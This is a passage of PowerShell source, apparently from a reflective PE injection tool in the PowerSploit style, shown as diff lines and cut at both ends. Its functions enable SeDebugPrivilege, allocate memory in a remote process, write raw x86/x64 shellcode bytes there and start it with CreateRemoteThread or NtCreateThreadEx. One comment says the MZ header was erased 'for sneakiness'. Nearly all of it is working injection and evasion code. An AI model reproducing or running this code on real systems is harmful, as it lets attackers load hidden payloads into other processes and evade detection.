[Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) 